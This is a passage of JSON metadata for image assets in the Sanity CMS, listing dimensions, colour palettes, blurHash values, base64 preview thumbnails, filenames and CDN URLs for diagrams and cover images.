653E5w/FYEoSAGkSUBH1UiSyy+cJ/NPf7/RYnjpGWbvnTtgxXE5un3k+PDZaPciMmO8/MFJjVw+1Mg46NMzSAauNPu0fpm63H2VZQaCJOCBSQJKYJceFKr83eNNisT8xmUa6HSOjV0M2Zr3WenaOOO6rZqwD5ubmZtrZ2YkOh4OyLEsZhkGLxUJdLheVZZkCSlFAVAFlIVMTYwsi4/zaUYdns9Pm3hTw+FYJY675wvCTmdHJyQq73d5nNBppWhAIBNJMi61WK6bloihSSEXGgbONgDzuA4xPAKKiS5/0f87trYWBEUc2z09sm5iY6OM4jvI8T6PRaBoMhUIYDAaR53mMxWL4Hx039zHbp/6YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313558","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#591108","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#abbdd0","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abbdd0","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a9d5","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc613e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-database-optimizer.png","path":"images/sczeoy4w/production/a45cf8541a557febe436efed9a6e58a5a233de1c-1614x1143.png","sha1hash":"a45cf8541a557febe436efed9a6e58a5a233de1c","size":39304,"uploadId":"0MxfcKlTDI66saUZx2Ega8MTQ3hHyOFg","url":"https://cdn.sanity.io/images/sczeoy4w/production/a45cf8541a557febe436efed9a6e58a5a233de1c-1614x1143.png"} {"_createdAt":"2024-05-07T14:31:35Z","_id":"image-d88bc65e502a2a65a0498c3e7a67c90c68608309-3474x1202-png","_rev":"djBW4fytXpbxkquf75slmA","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T14:31:35Z","assetId":"d88bc65e502a2a65a0498c3e7a67c90c68608309","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DAGtdL0hQm*d0K~XI:nOIoaJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.89018302828619,"height":1202,"width":3474},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAACQklEQVQokQE3Asj9AA4WUQcNFVIECxVTBA8YVAkRGVQREhlVFRIZVRYSGlUVEhpWEAsUUgcAAEQEAAdIBF8mMwXtUg0K/1kLE/5YCRX/VwYV/1YGFv5VBBX+VAQRAA8XUggOFU4HJydWBaaqyRC9xOAqwMfjOL/G4ji4vtwroaXFFLzB3BnIz+kntbrTGoBeYwm/gHAL1L7HIdDF1TXMwtM5zsLSONLD0CzUtbkUAA4XVA0QFE4RQTJREMnH2jDW3PJ+1dzyp9Xb8qjU2vF+zs7gOc/R5U7S2O5/ycveU5h+dhqxm5kcztPrXsnR7JzDy+epxs3pps3U7oLO1vA4ABMaTw8XGkcVRzVKFMjE1DXV2vCI09rws9Pa8LTU2vCJ0M7fPtHS5FTT2O6JzM3fW6OEdhy1nJUeztHpZcjP6qjAx+O1wsnktsrR6pDO1e8+ACAkQBAlJzkVNzE8D7KxxBTHzeQywcfeRMLI30TCx940rKy+GrO1yCLAxtw0s7TJJItmYQy5in8MysviJMTK5jy0utVEqq/HTKuwxT+kqb0dACIlPREpKzUTKSs2DB8mSAQTFy0IDhAcEA8QHRAMDx0MAwYTDQYIFA4LDh0NCgwfDT0YHwjLQxEE32AwA8ZuWQN4TUYHTTw5EkQ3MxhFNC4UABwhQxEkJzsQJSc7CxkdRAYEByQIAQMTDgEDFA4DBRkLBQYZDAQFFw0CBRgMBwgdDEAcIgjYSQsF/08ABP9JAAPGQwUFbzcdDFw1IxJgNyQSPPvh7NE50FoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292a44","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90401c","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e6fa","foreground":"#000","population":9.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9afc8","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e6fa","foreground":"#000","population":9.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8060","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc643c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"your-cloud-environment-on-aiven.png","path":"images/sczeoy4w/production/d88bc65e502a2a65a0498c3e7a67c90c68608309-3474x1202.png","sha1hash":"d88bc65e502a2a65a0498c3e7a67c90c68608309","size":172814,"uploadId":"Ln95G0LgnZlZlay6rVDPTqOFwJpLGgdj","url":"https://cdn.sanity.io/images/sczeoy4w/production/d88bc65e502a2a65a0498c3e7a67c90c68608309-3474x1202.png"} {"_createdAt":"2024-06-12T11:00:38Z","_id":"image-db7ae2e8e742ccb45931397d4a26df0ff239d922-1200x630-png","_rev":"lfjEbBA2nucdP3CAKD4Uck","_type":"sanity.imageAsset","_updatedAt":"2024-06-12T11:00:38Z","assetId":"db7ae2e8e742ccb45931397d4a26df0ff239d922","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MODS;100WA~p01%MR*ays:R+4n-:oLIU-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnklEQVQokWPgEwviFw/mlwgVlIwUko4VlkkUlUsTlc8UU8gVVyqUVC6VVquW06yX16yXV68GIc1aGfUqSZVSCaViBkHJEGnlGEXNJCXNVGXtDAXNLAnFDIRmlTId05ag6DlpqXPTQ9rTQ9pTU+b4h0/XNG6QVC5lEJUN1zPNtHctt3ertHOttnCo0jAsUtYpUtQulVEvkVItd/GduGDp8fNHLl1ZseHKqk1nD12cMfegg+dEabUaBnH5CHPbfO+Aeq+ARg//Zne/FmfvFkfPVnOHJlX9Smm1ct+wabv2XXn7/Pm7G1ff3rj68vHTjVvPewXPltPqYJBQiLKwL/Tyr/P0b/AKaPYKbPMK7HT16TC0qlPQKpNWLfcJmbph86lLl64eO3L88KEjp06fW7bqqFfwbHntLgYJhUgjixwn90p333p330Yb5xpj6ypd0wp5zSIJpUIplTKv4Ckr1xw5fvz0zp17tu/YvW//4bkLd7sHTJPVbGMQkQlX0U42NM81tysxsS5R08uVUs6UUMoWV8wTVyyQVC71DJy0dsPJW7fuXrt+4/qNG1eu3li07ICr3yQZjSYGAYlgUZlwKcUYGZUEaeVkcflkEdlUETlQaIMCXCHPyrl1wtSd5y/eefLs5dNnr85euNs9YYelU5eUajWDkHiQrHSwglK0nGqShEKiiEyiiGwqKKrkc0Tls0TlMhQ0C938uqsbVy1ffXTF2lO1LVvdA6Yq6dSAokpEIlBVLlhLI1ZNJ01aOVlENgmkGWRzjph8tqhcuph8prRKgY5ptYtPj5v/FEPrHjnNWknlUgmlEgYBiSBRySBx2XBx+RhR2TgRUApLFZPPFFfMFVfMFQM5IUtcsUBCqUhKtUxWo15GvUFSpVJCqQSYwgDebOdhABILzAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#41476f","foreground":"#fff","population":0.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":6.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":6.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b8d7","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c29f","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c718f","foreground":"#fff","population":1.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db4e41","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"General template Dark blue.png","path":"images/sczeoy4w/production/db7ae2e8e742ccb45931397d4a26df0ff239d922-1200x630.png","sha1hash":"db7ae2e8e742ccb45931397d4a26df0ff239d922","size":122152,"uploadId":"uXqQDBvE5U4JKJTFm2CqmnwrHs9mp3y2","url":"https://cdn.sanity.io/images/sczeoy4w/production/db7ae2e8e742ccb45931397d4a26df0ff239d922-1200x630.png"} {"_createdAt":"2024-08-28T04:52:15Z","_id":"image-b4d3d28ef2c6a1bdff4f8fcc10e05ff3a12edd7b-1200x628-png","_rev":"uQRNMiDfrp20RZ8Id6q46f","_type":"sanity.imageAsset","_updatedAt":"2024-08-28T04:52:15Z","assetId":"b4d3d28ef2c6a1bdff4f8fcc10e05ff3a12edd7b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97neV-eD$s.WB?wtQIUkCa~D$Rjxaf9ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACQElEQVQokSXQa0/aYACG4f6DzUnbt8eXHmhp8bQVxSmbDpGjtBYUFTcNGk8oHQ5QAUsZonFubjBDzBaz/dVFlzxfr+TJjeBwdUjbHw+W/MFP2nR5cqY2FbIn3ja1YGtitjMd/jIT64aSd1OhH55RhxBPCLFGehqkeEYIVYTkcoE3pahuR3XnXdwOJ9vxxeuE+TVqfEtmeunc/Vr+T3bzbyJzrwWv3GqDkmxK/kxJTUqyEeBee/X6aD5ZjxutqN6K6p24eZ1aujWyvXSun934nd14MNcezNyviNEdDnSgesEol4xyyarXCA5XxwKH4WQ9sdiKGe351EV4oRNbvNGXu3r2Z2q5n0j3E5l7faUfSt4omsPITVpuMUoH+m4QlF4ZGT+Yi9f+45mYMzlrhxJXcfM2on+fT3XnFnoR4y5i3GpBh/FWCeGEFGu07LDKFfIcLJH8uujblkf3lZdFaaTIqZZ3rDrkr6vauc/f9I23hwNt1d/g1DIhVsjHYHXSc85428gzLD0AMoNkdpDOuZgNF5NH2R3cXQBc8XG8RQhlUqwCoYRzFiGe0rJDyc0n30Be4CZDZXh+HUpbgMsP0nkXs4PCAwweYbCAsnsYPMK5jzhn4fwx6anT3jYlNwnxFAgVBAWmyKYV+YNnaJcSt13MlovZwdgD3F3E3Icou4fCAs5ZgC8BoUJJ9iOWGoRQAXwZGQBplMzg9AoG36PMpoveQtldHBYAZ+GchcEC5j4E/PHT+RPa69DeFuk5I4QyIZT/Af50o+glksqUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37386c","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9ea","foreground":"#000","population":7.55,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7fc4","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697097","foreground":"#fff","population":1.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/b4d3d28ef2c6a1bdff4f8fcc10e05ff3a12edd7b-1200x628.png","sha1hash":"b4d3d28ef2c6a1bdff4f8fcc10e05ff3a12edd7b","size":151397,"uploadId":"mgYrS8paV3KUQm26IsHtWL7ONsDk0Qbr","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4d3d28ef2c6a1bdff4f8fcc10e05ff3a12edd7b-1200x628.png"} {"_createdAt":"2024-08-26T03:38:03Z","_id":"image-c77ee2b2aa11ce983951a9918a73bfe48c2de06f-1382x1448-png","_rev":"vxdiygNMKB9xDhiP9doppK","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:38:03Z","assetId":"c77ee2b2aa11ce983951a9918a73bfe48c2de06f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eERMl1S4~X%L?I%EjEM~R,t8N~M|Rit7ngx_WBnzogM{}=oL9uRjoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9544198895027625,"height":1448,"width":1382},"exif":{"PixelXDimension":1382,"PixelYDimension":1448,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD3klEQVQ4jYWVa28aRxSG8///Qz60jdRITeLUcS9pHBTbMbGDHWMCGHthue0uy96vsxfATzWDcRpVVZHenRGcefY9c+YMT+7v7xFCMJ3NGekTPN8nTVOlLMvI8/x/VRQFq9UKyXoiH47r8fbwA78evEUb6nieh+/75FlGXdcq+D9VryjLkqqq2Gw2PJEP1/VoHJ3y+18NhrqO67lKSZJQlCVl9W9VdUW9qlmt1+qlEvoIzPKc+cKiM7nhet7jq9HnqxxnUnLeV/OO1O53s8/A0VimDkVVUJUV6/V6C5R74CYel4sOf2jved35jb32Vq++vGHv6mA7vzrg5dUbXl7t8+r6gD+1Bj1nQCKSLXDnUNoNkoChq3M5a3PU/8iH7gmf7j5zprX4pLU4G15wNmxx3G/S6BzR1M65NrtM/TlJnlLLPbzfbIsirZZlhSgK4jTBsEylMI5UcJIlJJkcU2xnyXg6wQt88kKoNbIgkvFQZdhs1qzqgrrKKERM4Nn43oJSJKxXJetVTV0VFCIjDDzshUkcBZRFTl2VbB5g8qMcSlAW3hHaZ9jTI6baIabeIFickQZ3ZLFB7HZxjSaz4QdGN+8x9GP8xTmJP6Aq4u+BpQiJlp9Z6q8YdX5i8OUHxt1nWNoLPLNJ5HYJjLcstGdo7acMLp8y6/+Io/+MbzQQqc39/eYbUKYrUpPQ6WFOWlizSxazC+b6OYEzUgtir4c1OWZ828DQT7Cnp5j6EUujTSki5VDtoaTKyfb4CMLQJ88z0jRhubRVC8o9LkuB77v4noMQKSJPcZYLXHdJXVfK3WPrSZiskuzpIAgee1S2oOxnuemykmEQEEXRQzuuVSf5QaCO3aNDCZPBZVmoANd11CLXDxhODMaGjekETC2HnqYz0GfYfkiWC5IkxnXdhyw234CyUyQ0z7cO4yRltAg4vNLZP7vloKWxf37Hy5Mur5s3NAcmyzBDiELF71yromwPdam+kG9yHYcojhnZIe+uZ+x9uuP1+ZD9izH7LZ2DyzGntzbLSFCvViorCZSGFFA6zEXBMki4mVhc9IZ8Hc5pjyxOezOOu1Muhgs0y2fmRMzdmGWYkolSZRbHsYJKQ48pR2lOZ+Ky3xrx/LjHL6cDXjRv1bh3PuJj38RYeKRJrIokJSE7mBDi2wUrgUmWc2v6nPRN3l9PaHSmHLbHvLvS1bzd1bEGGp5h4DiuKoTjOEphGKoXfOdQXqJRkuFHKd5OYYIbJnhBTGTOiW9vcMY6pmliLRZYloVhGNj29qz+43K4V3YreY0/XOXfq6QSGWUSkScJWbpNWWr3vyPjdr38N1J/IYbEg6GsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#395a35","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76170e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#395a35","foreground":"#fff","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92c5a3","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5783a5","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e85345","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram.png","path":"images/sczeoy4w/production/c77ee2b2aa11ce983951a9918a73bfe48c2de06f-1382x1448.png","sha1hash":"c77ee2b2aa11ce983951a9918a73bfe48c2de06f","size":174792,"uploadId":"957ytUzKPEut5gfjGdIKnYrIcGHOSpMK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c77ee2b2aa11ce983951a9918a73bfe48c2de06f-1382x1448.png"} {"_createdAt":"2024-08-26T03:38:03Z","_id":"image-4995a5a0251775f55affa726914239bc1da7e2cf-720x405-gif","_rev":"QJtWNkOOU8d8F4outYRQMm","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:38:03Z","assetId":"4995a5a0251775f55affa726914239bc1da7e2cf","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03bgot7oft7oft7ofofofofofofofofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":405,"width":720},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAj/xAAUEAEAAAAAAAAAAAAAAAAAAAAA/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AJ7AAAB//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c384c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d041a","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#929694","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#929694","foreground":"#fff","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8ae2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7e7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e01ec8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"demo_high-res.gif","path":"images/sczeoy4w/production/4995a5a0251775f55affa726914239bc1da7e2cf-720x405.gif","sha1hash":"4995a5a0251775f55affa726914239bc1da7e2cf","size":593210,"uploadId":"p4RA1VTWK8hFRlelYTZfINWfIwGhoWcZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/4995a5a0251775f55affa726914239bc1da7e2cf-720x405.gif"} {"_createdAt":"2024-08-26T03:48:31Z","_id":"image-28f6acb047e2bcff94540fa93db458a738133e49-1200x628-png","_rev":"QJtWNkOOU8d8F4outYUIXY","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:48:31Z","assetId":"28f6acb047e2bcff94540fa93db458a738133e49","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97x34-eD$ocWB?wtQIUkCa~D$RjxtoNoI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcklEQVQokT2Sa1MSYRiG9xdUIyvrwu7iymEFM00N0zQjNQ4iuFiYVEykjpqmRmWhgoCnRhuztHE6TP3Uq9nV+nDPvPeH55r7fp9HkLTHXO9eIDywxq2BIt39b7g9VKI/UiF8t0LPQJXw0C53Rg4Zin0mMnZK3/Axvo5tZO86sq+Ey7+J7PtAU8tbBFnP0Tu4SixVJjpeIRIrM5KsE584IGEeEUt/IpE5IZM7Z7rwm2z+D4nJc7oG9vGENnEHyriNKu5ABZd/C6HJM01X3zKjY5vE0lWi4zWiqV0bmHz4ifTUFzK5b2TzP8jmf2HmfmJOf2c0dUJ77y5aaAeldQ81uIcW+ohgVe7sXWJkbIOEWSOWrjOarPNgfI+EeUjq0Qnp7CnJh2fEzW8kH52TmPxK//09Ap1llNaKndAGth0hiEqWGz2LDMdLxCeqRFM1IvEqkVidkeQB0fQR0fQx9xPH3IufEDPPGBw9wNv+Dtlb/P+P7sA2anAf4ao0iaw/wds2g9GxQGvnMkbHCkbHa1pvviPUXSLUs0Wwq0ywu8b18A7+Gx+QvatIetGG/VuMYtQRrjhNrkkZGuQsDncOh5JHVAuI2hxOzyKS/upSKzTZid4i6as4my2/biezFiL7NnD5NxAaJBPVlUFvyeEJvEBqLtDgfo5DmUXUFmj0LCFqi4jqvP12Nl/AJP21nUwxahdA7/uLsxGlCbxqhqDxDH/bHG7vDA6lgEOdpVFbxNm8TKPnJaI2f+lXcOqr9rArsGUDrbqWb2opIlh1RTmDU5nCqT1FVPM2UFTnaPRYgIvKFtSSpK/Zg7JvHbdRQTG2L4/6ja2/7ZJp1NaoICQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37306a","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dceb","foreground":"#000","population":7.47,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7ec4","foreground":"#fff","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7196","foreground":"#fff","population":1.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (5).png","path":"images/sczeoy4w/production/28f6acb047e2bcff94540fa93db458a738133e49-1200x628.png","sha1hash":"28f6acb047e2bcff94540fa93db458a738133e49","size":185707,"uploadId":"Pcah184UwIQdnl1qopJZXZWmBHQEH8RG","url":"https://cdn.sanity.io/images/sczeoy4w/production/28f6acb047e2bcff94540fa93db458a738133e49-1200x628.png"} {"_createdAt":"2024-08-26T03:52:32Z","_id":"image-299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d-2276x1336-png","_rev":"vxdiygNMKB9xDhiP9dpRpI","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:32Z","assetId":"299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9S6Y:Io%gt8t6~Wod%4oOWFSbx^NMw[xs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7035928143712575,"height":1336,"width":2276},"exif":{"PixelXDimension":2276,"PixelYDimension":1336,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACEklEQVQokW2TX0/bMBTF+/2/0R72tqcxaQMGg0KhJbSUJE6d+PpPHKe/yWYCNLjS0bUd+egc35PF8XjkBZTOEeZ5RvkDl92SC3VF7VrSnMq3NDmCVHizJkXzcod/d4EFn9R8nNFh4Ka741qt6LwuZ7kyofQPiF4zRclUb2Iy4ZRmtB2pB196nBLznPBBaA5balVhXc80RVJKWO/Z1XWBCyGLzmxvhIMNXD4e+LasS+/FM44Baxq65z+o/Tnm8ICVHhFLfRg4XzecbxSdjB8tayOs9j2nDwfWjWB9LGqcKHS7ole3mH6HGTTWWrQ4qtZQKUHC9JFQRBDnECc4PzBFR0qRIatRisEMOG8xZiCEUAY2ZaSZ+Z3VV8JxHBmDxfYb+uYUc7hBRLOpB842LY9KcCFiROiNJcSpEL2v47v9YpxGxGpUe0uz+0mvlhjRbDth+dSz145xSnTGcVkprnea3sVXdcf/sNjbmnW34VE90A8tYxBSmohpJsT0aq0xgZM7xY97RWvyMD4LHCw2Q8V1t+K+27LXA53xhejFRglYWee4bJumIK/zW6Z5Jju00eGnUMK/sNHSB0PVaU5WNd9va3adEMZIjBlTmbq3eepXBU5qxuBxwfE0PHPV3rDWFZmr/CnzfGTbWb5ePPHlbMvt0wHrHN77ghA81jyjmwv69gJr9gSfk2Gp9JZfz79ZdiuGUfgLA2SccJ3wBXsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#427490","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c648c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3e9a0","foreground":"#000","population":1.77,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fc9a8","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3e9a0","foreground":"#000","population":1.77,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad9f66","foreground":"#000","population":0.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6d87a","foreground":"#000","population":0.04,"title":"#000"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_6.png","path":"images/sczeoy4w/production/299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d-2276x1336.png","sha1hash":"299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d","size":281131,"uploadId":"JNLEH1DyubQUTDciW2qwZpa9Bw2L2cxT","url":"https://cdn.sanity.io/images/sczeoy4w/production/299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d-2276x1336.png"} {"_createdAt":"2024-08-26T03:52:31Z","_id":"image-0e40a3f622b861d6987a4b2212f7dc45ae415765-1836x1358-png","_rev":"vxdiygNMKB9xDhiP9dpRnq","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:31Z","assetId":"0e40a3f622b861d6987a4b2212f7dc45ae415765","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V8SPb2I:%3~WjWtM?cnoIp9YtktTnOt2s~~oW,$dElEO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3519882179675995,"height":1358,"width":1836},"exif":{"PixelXDimension":1836,"PixelYDimension":1358,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAACU0lEQVQ4jY2TXW/bNhSG9f9/zoB1F7vZRQsUQ9bUTbOmjp3Yih1LomWJIsVPUc8gOSvawthC4EAEefjw1TkvM4BxHC8GI5hoeehyrqoF1+Ize30gDGE6NuekweL0Fivv8H1ONh+8OM5AGx2bbseH8hMLccuhLwkpfssaokE3K9pqgekeyXhRk9JIHNIc0/xflUMa6KxiXx8ompLeG9KYzvtAjIG2qRDVDtO3ZNMtIQ6U0vD10LEsunnufCDGSAwOowTHck1dPWC0wLse5xzOeVpluN8Jbh4LctGRjSmhjeNzXvPrxx1vFntun05I1eOsxeiGpvpCsX1Lmb+jFbcoWSGlRMqO56Pkz1XJH38/c709kQ0hoJRmWzR8fBR82hx5PiqsdUTv8VbT1U+ciju6eo3VJd7pF4UOZTyHxpAfNYW0ZNE5eqXodY+xbgYF70kxMqaBGAKdlDR1jev7ee1nN6TvIhu8n3/NOYu3LUZuUKclRj0RvKbVlvt9zZdthWg0w5BeLHPZG9k4Fz7OQNU+IXbvKDa/0xRX6K5kXyverwRvvxZsSokPwzcPXooshUCInt5qTs2BY7nkVN2h5Q7nFJ3xPDc9u6OmVfY7hZclZt4ZSl2xPK65r9YIKTCmn2v3Q42GxDgMTK74T6C1mk2bzy/hRtxx6ARybpBnSGcDzyO9EhiDRzlFbRtE37CuTnx4qLjJT1Sdm6Ez4LXAqSlT4t